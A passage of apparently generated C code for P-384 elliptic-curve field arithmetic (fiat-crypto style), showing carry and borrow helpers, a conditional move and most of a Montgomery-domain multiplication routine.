out1, fiat_p384_uint1* out2, fiat_p384_uint1 arg1, uint64_t arg2, uint64_t arg3) { fiat_p384_int128 x1 = ((arg2 - (fiat_p384_int128)arg1) - arg3); fiat_p384_int1 x2 = (fiat_p384_int1)(x1 >> 64); uint64_t x3 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff)); *out1 = x3; *out2 = (fiat_p384_uint1)(0x0 - x2); } /* * The function fiat_p384_mulx_u64 is a multiplication, returning the full double-width result. * Postconditions: * out1 = (arg1 * arg2) mod 2^64 * out2 = ⌊arg1 * arg2 / 2^64⌋ * * Input Bounds: * arg1: [0x0 ~> 0xffffffffffffffff] * arg2: [0x0 ~> 0xffffffffffffffff] * Output Bounds: * out1: [0x0 ~> 0xffffffffffffffff] * out2: [0x0 ~> 0xffffffffffffffff] */ static void fiat_p384_mulx_u64(uint64_t* out1, uint64_t* out2, uint64_t arg1, uint64_t arg2) { fiat_p384_uint128 x1 = ((fiat_p384_uint128)arg1 * arg2); uint64_t x2 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff)); uint64_t x3 = (uint64_t)(x1 >> 64); *out1 = x2; *out2 = x3; } /* * The function fiat_p384_cmovznz_u64 is a single-word conditional move. * Postconditions: * out1 = (if arg1 = 0 then arg2 else arg3) * * Input Bounds: * arg1: [0x0 ~> 0x1] * arg2: [0x0 ~> 0xffffffffffffffff] * arg3: [0x0 ~> 0xffffffffffffffff] * Output Bounds: * out1: [0x0 ~> 0xffffffffffffffff] */ static void fiat_p384_cmovznz_u64(uint64_t* out1, fiat_p384_uint1 arg1, uint64_t arg2, uint64_t arg3) { fiat_p384_uint1 x1 = (!(!arg1)); uint64_t x2 = ((fiat_p384_int1)(0x0 - x1) & UINT64_C(0xffffffffffffffff)); uint64_t x3 = ((x2 & arg3) | ((~x2) & arg2)); *out1 = x3; } /* * The function fiat_p384_mul multiplies two field elements in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * 0 ≤ eval arg2 < m * Postconditions: * eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) * eval (from_montgomery arg2)) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] */ static void fiat_p384_mul(uint64_t out1[6], const uint64_t arg1[6], const uint64_t arg2[6]) { uint64_t x1 = (arg1[1]); uint64_t x2 = (arg1[2]); uint64_t x3 = (arg1[3]); uint64_t x4 = (arg1[4]); uint64_t x5 = (arg1[5]); uint64_t x6 = (arg1[0]); uint64_t x7; uint64_t x8; fiat_p384_mulx_u64(&x7, &x8, x6, (arg2[5])); uint64_t x9; uint64_t x10; fiat_p384_mulx_u64(&x9, &x10, x6, (arg2[4])); uint64_t x11; uint64_t x12; fiat_p384_mulx_u64(&x11, &x12, x6, (arg2[3])); uint64_t x13; uint64_t x14; fiat_p384_mulx_u64(&x13, &x14, x6, (arg2[2])); uint64_t x15; uint64_t x16; fiat_p384_mulx_u64(&x15, &x16, x6, (arg2[1])); uint64_t x17; uint64_t x18; fiat_p384_mulx_u64(&x17, &x18, x6, (arg2[0])); uint64_t x19; fiat_p384_uint1 x20; fiat_p384_addcarryx_u64(&x19, &x20, 0x0, x18, x15); uint64_t x21; fiat_p384_uint1 x22; fiat_p384_addcarryx_u64(&x21, &x22, x20, x16, x13); uint64_t x23; fiat_p384_uint1 x24; fiat_p384_addcarryx_u64(&x23, &x24, x22, x14, x11); uint64_t x25; fiat_p384_uint1 x26; fiat_p384_addcarryx_u64(&x25, &x26, x24, x12, x9); uint64_t x27; fiat_p384_uint1 x28; fiat_p384_addcarryx_u64(&x27, &x28, x26, x10, x7); uint64_t x29; fiat_p384_uint1 x30; fiat_p384_addcarryx_u64(&x29, &x30, x28, x8, 0x0); uint64_t x31; uint64_t x32; fiat_p384_mulx_u64(&x31, &x32, x17, UINT64_C(0x100000001)); uint64_t x33; uint64_t x34; fiat_p384_mulx_u64(&x33, &x34, x31, UINT64_C(0xffffffffffffffff)); uint64_t x35; uint64_t x36; fiat_p384_mulx_u64(&x35, &x36, x31, UINT64_C(0xffffffffffffffff)); uint64_t x37; uint64_t x38; fiat_p384_mulx_u64(&x37, &x38, x31, UINT64_C(0xffffffffffffffff)); uint64_t x39; uint64_t x40; fiat_p384_mulx_u64(&x39, &x40, x31, UINT64_C(0xfffffffffffffffe)); uint64_t x41; uint64_t x42; fiat_p384_mulx_u64(&x41, &x42, x31, UINT64_C(0xffffffff00000000)); uint64_t x43; uint64_t x44; fiat_p384_mulx_u64(&x43, &x44, x31, UINT32_C(0xffffffff)); uint64_t x45; fiat_p384_uint1 x46; fiat_p384_addcarryx_u64(&x45, &x46, 0x0, x44, x41); uint64_t x47; fiat_p384_uint1 x48; fiat_p384_addcarryx_u64(&x47, &x48, x46, x42, x39); uint64_t x49; fiat_p384_uint1 x50; fiat_p384_addcarryx_u64(&x49, &x50, x48, x40, x37); uint64_t x51; fiat_p384_uint1 x52; fiat_p384_addcarryx_u64(&x51, &x52, x50, x38, x35); uint64_t x53; fiat_p384_uint1 x54; fiat_p384_addcarryx_u64(&x53, &x54, x52, x36, x33); uint64_t x55; fiat_p384_uint1 x56; fiat_p384_addcarryx_u64(&x55, &x56, x54, x34, 0x0); uint64_t x57; fiat_p384_uint1 x58; fiat_p384_addcarryx_u64(&x57, &x58, 0x0, x17, x43); uint64_t x59; fiat_p384_uint1 x60; fiat_p384_addcarryx_u64(&x59, &x60, x58, x19, x45); uint64_t x61; fiat_p384_uint1 x62; fiat_p384_addcarryx_u64(&x61, &x62, x60, x21, x47); uint64_t x63; fiat_p384_uint1 x64; fiat_p384_addcarryx_u64(&x63, &x64, x62, x23, x49); uint64_t x65; fiat_p384_uint1 x66; fiat_p384_addcarryx_u64(&x65, &x66, x64, x25, x51); uint64_t x67; fiat_p384_uint1 x68; fiat_p384_addcarryx_u64(&x67, &x68, x66, x27, x53); uint64_t x69; fiat_p384_uint1 x70; fiat_p384_addcarryx_u64(&x69, &x70, x68, x29, x55); uint64_t x71; fiat_p384_uint1 x72; fiat_p384_addcarryx_u64(&x71, &x72, x70, 0x0, 0x0); uint64_t x73; uint64_t x74; fiat_p384_mulx_u64(&x73, &x74, x1, (arg2[5])); uint64_t x75; uint64_t x76; fiat_p384_mulx_u64(&x75, &x76, x1, (arg2[4])); uint64_t x77; uint64_t x78; fiat_p384_mulx_u64(&x77, &x78, x1, (arg2[3])); uint64_t x79; uint64_t x80; fiat_p384_mulx_u64(&x79, &x80, x1, (arg2[2])); uint64_t x81; uint64_t x82; fiat_p384_mulx_u64(&x81, &x82, x1, (arg2[1])); uint64_t x83; uint64_t x84; fiat_p384_mulx_u64(&x83, &x84, x1, (arg2[0])); uint64_t x85; fiat_p384_uint1 x86; fiat_p384_addcarryx_u64(&x85, &x86, 0x0, x84, x81); uint64_t x87; fiat_p384_uint1 x88; fiat_p384_addcarryx_u64(&x87, &x88, x86, x82, x79); uint64_t x89; fiat_p384_uint1 x90; fiat_p384_addcarryx_u64(&x89, &x90, x88, x80, x77); uint64_t x91; fiat_p384_uint1 x92; fiat_p384_addcarryx_u64(&x91, &x92, x90, x78, x75); uint64_t x93; fiat_p384_uint1 x94; fiat_p384_addcarryx_u64(&x93, &x94, x92, x76, x73); uint64_t x95; fiat_p384_uint1 x96; fiat_p384_addcarryx_u64(&x95, &x96, x94, x74, 0x0); uint64_t x97; fiat_p384_uint1 x98; fiat_p384_addcarryx_u64(&x97, &x98, 0x0, x59, x83); uint64_t x99; fiat_p384_uint1 x100; fiat_p384_addcarryx_u64(&x99, &x100, x98, x61, x85); uint64_t x101; fiat_p384_uint1 x102; fiat_p384_addcarryx_u64(&x101, &x102, x100, x63, x87); uint64_t x103; fiat_p384_uint1 x104; fiat_p384_addcarryx_u64(&x103, &x104, x102, x65, x89); uint64_t x105; fiat_p384_uint1 x106; fiat_p384_addcarryx_u64(&x105, &x106, x104, x67, x91); uint64_t x107; fiat_p384_uint1 x108; fiat_p384_addcarryx_u64(&x107, &x108, x106, x69, x93); uint64_t x109; fiat_p384_uint1 x110; fiat_p384_addcarryx_u64(&x109, &x110, x108, (fiat_p384_uint1)x71, x95); uint64_t x111; uint64_t x112; fiat_p384_mulx_u64(&x111, &x112, x97, UINT64_C(0x100000001)); uint64_t x113; uint64_t x114; fiat_p384_mulx_u64(&x113, &x114, x111, UINT64_C(0xffffffffffffffff)); uint64_t x115; uint64_t x116; fiat_p384_mulx_u64(&x115, &x116, x111, UINT64_C(0xffffffffffffffff)); uint64_t x117; uint64_t x118; fiat_p384_mulx_u64(&x117, &x118, x111, UINT64_C(0xffffffffffffffff)); uint64_t x119; uint64_t x120; fiat_p384_mulx_u64(&x119, &x120, x111, UINT64_C(0xfffffffffffffffe)); uint64_t x121; uint64_t x122; fiat_p384_mulx_u64(&x121, &x122, x111, UINT64_C(0xffffffff00000000)); uint64_t x123; uint64_t x124; fiat_p384_mulx_u64(&x123, &x124, x111, UINT32_C(0xffffffff)); uint64_t x125; fiat_p384_uint1 x126; fiat_p384_addcarryx_u64(&x125, &x126, 0x0, x124, x121); uint64_t x127; fiat_p384_uint1 x128; fiat_p384_addcarryx_u64(&x127, &x128, x126, x122, x119); uint64_t x129; fiat_p384_uint1 x130; fiat_p384_addcarryx_u64(&x129, &x130, x128, x120, x117); uint64_t x131; fiat_p384_uint1 x132; fiat_p384_addcarryx_u64(&x131, &x132, x130, x118, x115); uint64_t x133; fiat_p384_uint1 x134; fiat_p384_addcarryx_u64(&x133, &x134, x132, x116, x113); uint64_t x135; fiat_p384_uint1 x136; fiat_p384_addcarryx_u64(&x135, &x136, x134, x114, 0x0); uint64_t x137; fiat_p384_uint1 x138; fiat_p384_addcarryx_u64(&x137, &x138, 0x0, x97, x123); uint64_t x139; fiat_p384_uint1 x140; fiat_p384_addcarryx_u64(&x139, &x140, x138, x99, x125); uint64_t x141; fiat_p384_uint1 x142; fiat_p384_addcarryx_u64(&x141, &x142, x140, x101, x127); uint64_t x143; fiat_p384_uint1 x144; fiat_p384_addcarryx_u64(&x143, &x144, x142, x103, x129); uint64_t x145; fiat_p384_uint1 x146; fiat_p384_addcarryx_u64(&x145, &x146, x144, x105, x131); uint64_t x147; fiat_p384_uint1 x148; fiat_p384_addcarryx_u64(&x147, &x148, x146, x107, x133); uint64_t x149; fiat_p384_uint1 x150; fiat_p384_addcarryx_u64(&x149, &x150, x148, x109, x135); uint64_t x151; fiat_p384_uint1 x152; fiat_p384_addcarryx_u64(&x151, &x152, x150, x110, 0x0); uint64_t x153; uint64_t x154; fiat_p384_mulx_u64(&x153, &x154, x2, (arg2[5])); uint64_t x155; uint64_t x156; fiat_p384_mulx_u64(&x155, &x156, x2, (arg2[4])); uint64_t x157; uint64_t x158; fiat_p384_mulx_u64(&x157, &x158, x2, (arg2[3])); uint64_t x159; uint64_t x160; fiat_p384_mulx_u64(&x159, &x160, x2, (arg2[2])); uint64_t x161; uint64_t x162; fiat_p384_mulx_u64(&x161, &x162, x2, (arg2[1])); uint64_t x163; uint64_t x164; fiat_p384_mulx_u64(&x163, &x164, x2, (arg2[0])); uint64_t x165; fiat_p384_uint1 x166; fiat_p384_addcarryx_u64(&x165, &x166, 0x0, x164, x161); uint64_t x167; fiat_p384_uint1 x168; fiat_p384_addcarryx_u64(&x167, &x168, x166, x162, x159); uint64_t x169; fiat_p384_uint1 x170; fiat_p384_addcarryx_u64(&x169, &x170, x168, x160, x157); uint64_t x171; fiat_p384_uint1 x172; fiat_p384_addcarryx_u64(&x171, &x172, x170, x158, x155); uint64_t x173; fiat_p384_uint1 x174; fiat_p384_addcarryx_u64(&x173, &x174, x172, x156, x153); uint64_t x175; fiat_p384_uint1 x176; fiat_p384_addcarryx_u64(&x175, &x176, x174, x154, 0x0); uint64_t x177; fiat_p384_uint1 x178; fiat_p384_addcarryx_u64(&x177, &x178, 0x0, x139, x163); uint64_t x179; fiat_p384_uint1 x180; fiat_p384_addcarryx_u64(&x179, &x180, x178, x141, x165); uint64_t x181; fiat_p384_uint1 x182; fiat_p384_addcarryx_u64(&x181, &x182, x180, x143, x167); uint64_t x183; fiat_p384_uint1 x184; fiat_p384_addcarryx_u64(&x183, &x184, x182, x145, x169); uint64_t x185; fiat_p384_uint1 x186; fiat_p384_addcarryx_u64(&x185, &x186, x184, x147, x171); uint64_t x187; fiat_p384_uint1 x188; fiat_p384_addcarryx_u64(&x187, &x188, x186, x149, x173); uint64_t x189; fiat_p384_uint1 x190; fiat_p384_addcarryx_u64(&x189, &x190, x188, x151, x175); uint64_t x191; uint64_t x192; fiat_p384_mulx_u64(&x191, &x192, x177, UINT64_C(0x100000001)); uint64_t x193; uint64_t x194; fiat_p384_mulx_u64(&x193, &x194, x191, UINT64_C(0xffffffffffffffff)); uint64_t x195; uint64_t x196; fiat_p384_mulx_u64(&x195, &x196, x191, UINT64_C(0xffffffffffffffff)); uint64_t x197; uint64_t x198; fiat_p384_mulx_u64(&x197, &x198, x191, UINT64_C(0xffffffffffffffff)); uint64_t x199; uint64_t x200; fiat_p384_mulx_u64(&x199, &x200, x191, UINT64_C(0xfffffffffffffffe)); uint64_t x201; uint64_t x202; fiat_p384_mulx_u64(&x201, &x202, x191, UINT64_C(0xffffffff00000000)); uint64_t x203; uint64_t x204; fiat_p384_mulx_u64(&x203, &x204, x191, UINT32_C(0xffffffff)); uint64_t x205; fiat_p384_uint1 x206; fiat_p384_addcarryx_u64(&x205, &x206, 0x0, x204, x201); uint64_t x207; fiat_p384_uint1 x208; fiat_p384_addcarryx_u64(&x207, &x208, x206, x202, x199); uint64_t x209; fiat_p384_uint1 x210; fiat_p384_addcarryx_u64(&x209, &x210, x208, x200, x197); uint64_t x211; fiat_p384_uint1 x212; fiat_p384_addcarryx_u64(&x211, &x212, x210, x198, x195); uint64_t x213; fiat_p384_uint1 x214; fiat_p384_addcarryx_u64(&x213, &x214, x212, x196, x193); uint64_t x215; fiat_p384_uint1 x216; fiat_p384_addcarryx_u64(&x215, &x216, x214, x194, 0x0); uint64_t x217; fiat_p384_uint1 x218; fiat_p384_addcarryx_u64(&x217, &x218, 0x0, x177, x203); uint64_t x219; fiat_p384_uint1 x220; fiat_p384_addcarryx_u64(&x219, &x220, x218, x179, x205); uint64_t x221; fiat_p384_uint1 x222; fiat_p384_addcarryx_u64(&x221, &x222, x220, x181, x207); uint64_t x223; fiat_p384_uint1 x224; fiat_p384_addcarryx_u64(&x223, &x224, x222, x183, x209); uint64_t x225; fiat_p384_uint1 x226; fiat_p384_addcarryx_u64(&x225, &x226, x224, x185, x211); uint64_t x227; fiat_p384_uint1 x228; fiat_p384_addcarryx_u64(&x227, &x228, x226, x187, x213); uint64_t x229; fiat_p384_uint1 x230; fiat_p384_addcarryx_u64(&x229, &x230, x228, x189, x215); uint64_t x231; fiat_p384_uint1 x232; fiat_p384_addcarryx_u64(&x231, &x232, x230, x190, 0x0); uint64_t x233; uint64_t x234; fiat_p384_mulx_u64(&x233, &x234, x3, (arg2[5])); uint64_t x235; uint64_t x236; fiat_p384_mulx_u64(&x235, &x236, x3, (arg2[4])); uint64_t x237; uint64_t x238; fiat_p384_mulx_u64(&x237, &x238, x3, (arg2[3])); uint64_t x239; uint64_t x240; fiat_p384_mulx_u64(&x239, &x240, x3, (arg2[2])); uint64_t x241; uint64_t x242; fiat_p384_mulx_u64(&x241, &x242, x3, (arg2[1])); uint64_t x243; uint64_t x244; fiat_p384_mulx_u64(&x243, &x244, x3, (arg2[0])); uint64_t x245; fiat_p384_uint1 x246; fiat_p384_addcarryx_u64(&x245, &x246, 0x0, x244, x241); uint64_t x247; fiat_p384_uint1 x248; fiat_p384_addcarryx_u64(&x247, &x248, x246, x242, x239); uint64_t x249; fiat_p384_uint1 x250; fiat_p384_addcarryx_u64(&x249, &x250, x248, x240, x237); uint64_t x251; fiat_p384_uint1 x252; fiat_p384_addcarryx_u64(&x251, &x252, x250, x238, x235); uint64_t x253; fiat_p384_uint1 x254; fiat_p384_addcarryx_u64(&x253, &x254, x252, x236, x233); uint64_t x255; fiat_p384_uint1 x256; fiat_p384_addcarryx_u64(&x255, &x256, x254, x234, 0x0); uint64_t x257; fiat_p384_uint1 x258; fiat_p384_addcarryx_u64(&x257, &x258, 0x0, x219, x243); uint64_t x259; fiat_p384_uint1 x260; fiat_p384_addcarryx_u64(&x259, &x260, x258, x221, x245); uint64_t x261; fiat_p384_uint1 x262; fiat_p384_addcarryx_u64(&x261, &x262, x260, x223, x247); uint64_t x263; fiat_p384_uint1 x264; fiat_p384_addcarryx_u64(&x263, &x264, x262, x225, x249); uint64_t x265; fiat_p384_uint1 x266; fiat_p384_addcarryx_u64(&x265, &x266, x264, x227, x251); uint64_t x267; fiat_p384_uint1 x268; fiat_p384_addcarryx_u64(&x267, &x268, x266, x229, x253); uint64_t x269; fiat_p384_uint1 x270; fiat_p384_addcarryx_u64(&x269, &x270, x268, x231, x255); uint64_t x271; uint64_t x272; fiat_p384_mulx_u64(&x271, &x272, x257, UINT64_C(0x100000001)); uint64_t x273; uint64_t x274; fiat_p384_mulx_u64(&x273, &x274, x271, UINT64_C(0xffffffffffffffff)); uint64_t x275; uint64_t x276; fiat_p384_mulx_u64(&x275, &x276, x271, UINT64_C(0xffffffffffffffff)); uint64_t x277; uint64_t x278; fiat_p384_mulx_u64(&x277, &x278, x271, UINT64_C(0xffffffffffffffff)); uint64_t x279; uint64_t x280; fiat_p384_mulx_u64(&x279, &x280, x271, UINT64_C(0xfffffffffffffffe)); uint64_t x281; uint64_t x282; fiat_p384_mulx_u64(&x281, &x282, x271, UINT64_C(0xffffffff00000000)); uint64_t x283; uint64_t x284; fiat_p384_mulx_u64(&x283, &x284, x271, UINT32_C(0xffffffff)); uint64_t x285; fiat_p384_uint1 x286; fiat_p384_addcarryx_u64(&x285, &x286, 0x0, x284, x281); uint64_t x287; fiat_p384_uint1 x288; fiat_p384_addcarryx_u64(&x287, &x288, x286, x282, x279); uint64_t x289; fiat_p384_uint1 x290; fiat_p384_addcarryx_u64(&x289, &x290, x288, x280, x277); uint64_t x291; fiat_p384_uint1 x292; fiat_p384_addcarryx_u64(&x291, &x292, x290, x278, x275); uint64_t x293; fiat_p384_uint1 x294; fiat_p384_addcarryx_u64(&x293, &x294, x292, x276, x273); uint64_t x295; fiat_p384_uint1 x296; fiat_p384_addcarryx_u64(&x295, &x296, x294, x274, 0x0); uint64_t x297; fiat_p384_uint1 x298; fiat_p384_addcarryx_u64(&x297, &x298, 0x0, x257, x283); uint64_t x299; fiat_p384_uint1 x300; fiat_p384_addcarryx_u64(&x299, &x300, x298, x259, x285); uint64_t x301; fiat_p384_uint1 x302; fiat_p384_addcarryx_u64(&x301, &x302, x300, x261, x287); uint64_t x303; fiat_p384_uint1 x304; fiat_p384_addcarryx_u64(&x303, &x304, x302, x263, x289); uint64_t x305; fiat_p384_uint1 x306; fiat_p384_addcarryx_u64(&x305, &x306, x304, x265, x291); uint64_t x307; fiat_p384_uint1 x308; fiat_p384_addcarryx_u64(&x307, &x308, x306, x267, x293); uint64_t x309; fiat_p384_uint1 x310; fiat_p384_addcarryx_u64(&x309, &x310, x308, x269, x295); uint64_t x311; fiat_p384_uint1 x312; fiat_p384_addcarryx_u64(&x311, &x312, x310, x270, 0x0); uint64_t x313; uint64_t x314; fiat_p384_mulx_u64(&x313, &x314, x4, (arg2[5])); uint64_t x315; uint64_t x316; fiat_p384_mulx_u64(&x315, &x316, x4, (arg2[4])); uint64_t x317; uint64_t x318; fiat_p384_mulx_u64(&x317, &x318, x4, (arg2[3])); uint64_t x319; uint64_t x320; fiat_p384_mulx_u64(&x319, &x320, x4, (arg2[2])); uint64_t x321; uint64_t x322; fiat_p384_mulx_u64(&x321, &x322, x4, (arg2[1])); uint64_t x323; uint64_t x324; fiat_p384_mulx_u64(&x323, &x324, x4, (arg2[0])); uint64_t x325; fiat_p384_uint1 x326; fiat_p384_addcarryx_u64(&x325, &x326, 0x0, x324, x321); uint64_t x327; fiat_p384_uint1 x328; fiat_p384_addcarryx_u64(&x327, &x328, x326, x322, x319); uint64_t x329; fiat_p384_uint1 x330; fiat_p384_addcarryx_u64(&x329, &x330, x328, x320, x317); uint64_t x331; fiat_p384_uint1 x332; fiat_p384_addcarryx_u64(&x331, &x332, x330, x318, x315); uint64_t x333; fiat_p384_uint1 x334; fiat_p384_addcarryx_u64(&x333, &x334, x332, x316, x313); uint64_t x335; fiat_p384_uint1 x336; fiat_p384_addcarryx_u64(&x335, &x336, x334, x314, 0x0); uint64_t x337; fiat_p384_uint1 x338; fiat_p384_addcarryx_u64(&x337, &x338, 0x0, x299, x323); uint64_t x339; fiat_p384_uint1 x340; fiat_p384_addcarryx_u64(&x339, &x340, x338, x301, x325); uint64_t x341; fiat_p384_uint1 x342; fiat_p384_addcarryx_u64(&x341, &x342, x340, x303, x327); uint64_t x343; fiat_p384_uint1 x344; fiat_p384_addcarryx_u64(&x343, &x344, x342, x305, x329); uint64_t x345; fiat_p384_uint1 x346; fiat_p384_addcarryx_u64(&x345, &x346, x344, x307, x331); uint64_t x347; fiat_p384_uint1 x348; fiat_p384_addcarryx_u64(&x347, &x348, x346, x309, x333); uint64_t x349; fiat_p384_uint1 x350; fiat_p384_addcarryx_u64(&x349, &x350, x348, x311, x335); uint64_t x351; uint64_t x352; fiat_p384_mulx_u64(&x351, &x352, x337, UINT64_C(0x100000001)); uint64_t x353; uint64_t x354; fiat_p384_mulx_u64(&x353, &x354, x351, UINT64_C(0xffffffffffffffff)); uint64_t x355; uint64_t x356; fiat_p384_mulx_u64(&x355, &x356, x351, UINT64_C(0xffffffffffffffff)); uint64_t x357; uint64_t x358; fiat_p384_mulx_u64(&x357, &x358, x351, UINT64_C(0xffffffffffffffff)); uint64_t x359; uint64_t x360; fiat_p384_mulx_u64(&x359, &x360, x351, UINT64_C(0xfffffffffffffffe)); uint64_t x361; uint64_t x362; fiat_p384_mulx_u64(&x361, &x362, x351, UINT64_C(0xffffffff00000000)); uint64_t x363; uint64_t x364; fiat_p384_mulx_u64(&x363, &x364, x351, UINT32_C(0xffffffff)); uint64_t x365; fiat_p384_uint1 x366; fiat_p384_addcarryx_u64(&x365, &x366, 0x0, x364, x361); uint64_t x367; fiat_p384_uint1 x368; fiat_p384_addcarryx_u64(&x367, &x368, x366, x362, x359); uint64_t x369; fiat_p384_uint1 x370; fiat_p384_addcarryx_u64(&x369, &x370, x368, x360, x357); uint64_t x371; fiat_p384_uint1 x372; fiat_p384_addcarryx_u64(&x371, &x372, x370, x358, x355); uint64_t x373; fiat_p384_uint1 x374; fiat_p384_addcarryx_u64(&x373, &x374, x372, x356, x353); uint64_t x375; fiat_p384_uint1 x376; fiat_p384_addcarryx_u64(&x375, &x376, x374, x354, 0x0); uint64_t x377; fiat_p384_uint1 x378; fiat_p384_addcarryx_u64(&x377, &x378, 0x0, x337, x363); uint64_t x379; fiat_p384_uint1 x380; fiat_p384_addcarryx_u64(&x379, &x380, x378, x339, x365); uint64_t x381; fiat_p384_uint1 x382; fiat_p384_addcarryx_u64(&x381, &x382, x380, x341, x367); uint64_t x383; fiat_p384_uint1 x384; fiat_p384_addcarryx_u64(&x383, &x384, x382, x343, x369); uint64_t x385; fiat_p384_uint1 x386; fiat_p384_addcarryx_u64(&x385, &x386, x384, x345, x371); uint64_t x387; fiat_p384_uint1 x388; fiat_p384_addcarryx_u64(&x387, &x388, x386, x347, x373); uint64_t x389; fiat_p384_uint1 x390; fiat_p384_addcarryx_u64(&x389, &x390, x388, x349, x375); uint64_t x391; fiat_p384_uint1 x392; fiat_p384_addcarryx_u64(&x391, &x392, x390, x350, 0x0); uint64_t x393; uint64_t x394; fiat_p384_mulx_u64(&x393, &x394, x5, (arg2[5])); uint64_t x395; uint64_t x396; fiat_p384_mulx_u64(&x395, &x396, x5, (arg2[4])); uint64_t x397; uint64_t x398; fiat_p384_mulx_u64(&x397, &x398, x5, (arg2[3])); uint64_t x399; uint64_t x400; fiat_p384_mulx_u64(&x399, &x400, x5, (arg2[2])); uint64_t x401; uint64_t x402; fiat_p384_mulx_u64(&x401, &x402, x5, (arg2[1])); uint64_t x403; uint64_t x404; fiat_p384_mulx_u64(&x403, &x404, x5, (arg2[0])); uint64_t x405; fiat_p384_uint1 x406; fiat_p384_addcarryx_u64(&x405, &x406, 0x0, x404, x401); uint64_t x407; fiat_p384_uint1 x408; fiat_p384_addcarryx_u64(&x407, &x408, x406, x402, x399); uint64_t x409; fiat_p384_uint1 x410; fiat_p384_addcarryx_u64(&x409, &x410, x408, x400, x397); uint64_t x411; fiat_p384_uint1 x412; fiat_p384_addcarryx_u64(&x411, &x412, x410, x398, x395); uint64_t x413; fiat_p384_uint1 x414; fiat_p384_addcarryx_u64(&x413, &x414, x412, x396, x393); uint64_t x415; fiat_p384_uint1 x416; fiat_p384_addcarryx_u64(&x415, &x416, x414, x394, 0x0); uint64_t x417; fiat_p384_uint1 x418; fiat_p384_addcarryx_u64(&x417, &x418, 0x0, x379, x403); uint64_t x419; fiat_p384_uint1 x420; fiat_p384_addcarryx_u64(&x419, &x420, x418, x381, x405); uint64_t x421; fiat_p384_uint1 x422; fiat_p384_addcarryx_u64(&x421, &x422, x420, x383, x407); uint64_t x423; fiat_p384_uint1 x424; fiat_p384_addcarryx_u64(&x423, &x424, x422, x385, x409); uint64_t x425; fiat_p384_uint1 x426; fiat_p384_addcarryx_u64(&x425, &x426, x424, x387, x411); uint64_t x427; fiat_p384_uint1 x428; fiat_p384_addcarryx_u64(&x427, &x428, x426, x389, x413); uint64_t x429; fiat_p384_uint1 x430; fiat_p384_addcarryx_u64(&x429, &x430, x428, x391, x415); uint64_t x431; uint64_t x432; fiat_p384_mulx_u64(&x431, &x432, x417, UINT64_C(0x100000001)); uint64_t x433; uint64_t x434; fiat_p384_mulx_u64(&x433, &x434, x431, UINT64_C(0xffffffffffffffff)); uint64_t x435; uint64_t x436; fiat_p384_mulx_u64(&x435, &x436, x431, UINT64_C(0xffffffffffffffff)); uint64_t x437; uint64_t x438; fiat_p384_mulx_u64(&x437, &x438, x431, UINT64_C(0xffffffffffffffff)); uint64_t x439; uint64_t x440; fiat_p384_mulx_u64(&x439, &x440, x431, UINT64_C(0xfffffffffffffffe)); uint64_t x441; uint64_t x442; fiat_p384_mulx_u64(&x441, &x442, x431, UINT64_C(0xffffffff00000000)); uint64_t x443; uint64_t x444; fiat_p384_mulx_u64(&x443, &x444, x431, UINT32_C(0xffffffff)); uint64_t x445; fiat_p384_uint1 x446; fiat_p384_addcarryx_u64(&x445, &x446, 0x0, x444, x441); uint64_t x447; fiat_p384_uint1 x448; fiat_p384_addcarryx_u64(&x447, &x448, x446, x442, x439); uint64_t x449; fiat_p384_uint1 x450; fiat_p384_addcarryx_u64(&x449, &x450, x448, x440, x437); uint64_t x451; fiat_p384_uint1 x452; fiat_p384_addcarryx_u64(&x451, &x452, x450, x438, x435); uint64_t x453; fiat_p384_uint1 x454; fiat_p384_addcarryx_u64(&x453, &x454, x452, x436, x433); uint64_t x455; fiat_p384_uint1 x456; fiat_p384_addcarryx_u64(&x455, &x456, x454, x434, 0x0); uint64_t x457; fiat_p384_uint1 x458; fiat_p384_addcarryx_u64(&x457, &x458, 0x0, x417, x443); uint64_t x459; fiat_p384_uint1 x460; fiat_p384_addcarryx_u64(&x459, &x460, x458, x419, x445); uint64_t x461; fiat_p384_uint1 x462; fiat_p384_addcarryx_u64(&x461, &x462, x460, x421, x447); uint64_t x463; fiat_p384_uint1 x464; fiat_p384_addcarryx_u64(&x463, &x464, x462, x423, x449); uint64_t x465; fiat_p384_uint1 x466; fiat_p384_addcarryx_u64(&x465, &x466, x464, x425, x451); uint64_t x467; fiat_p384_uint1 x468; fiat_p384_addcarryx_u64(&x467, &x468, x466, x427, x453); uint64_t x469; fiat_p384_uint1 x470; fiat_p384_addcarryx_u64(&x469, &x470, x468, x429, x455); uint64_t x471; fiat_p384_uint1 x472; fiat_p384_addcarryx_u64(&x471, &x472, x470, x430, 0x0); uint64_t x473; fiat_p384_uint1 x474; fiat_p384_subborrowx_u64(&x473, &x474, 0x0, x459, UINT32_C(0xffffffff)); uint64_t x475; fiat_p384_uint1 x476; fiat_p384_subborrowx_u64(&x475, &x476, x474, x461, UINT64_C(0xffffffff00000000)); uint64_t x477; fiat_p384_uint1 x478; fiat_p384_subborrowx_u64(&x477, &x478, x476, x463, UINT64_C(0xfffffffffffffffe)); uint64_t x479; fiat_p384_uint1 x480; fiat_p384_subborrowx_u64(&x479, &x480, x478, x465, UINT64_C(0xffffffffffffffff)); uint64_t x481; fiat_p384_uint1 x482; fiat_p384_subborrowx_u64(&x481, &x482, x480, x467, UINT64_C(0xffffffffffffffff)); uint64_t x483; fiat_p384_uint1 x484; fiat_p384_subborrowx_u64(&x483, &x484, x482, x469, UINT64_C(0xffffffffffffffff)); uint64_t x485; fiat_p384_uint1 x486; fiat_p384_subborrowx_u64(&x485, &x486, x484, x471, 0x0); uint64_t x487; fiat_p384_cmovznz_u64(&x487, x486, x473, x459); uint64_t x488; 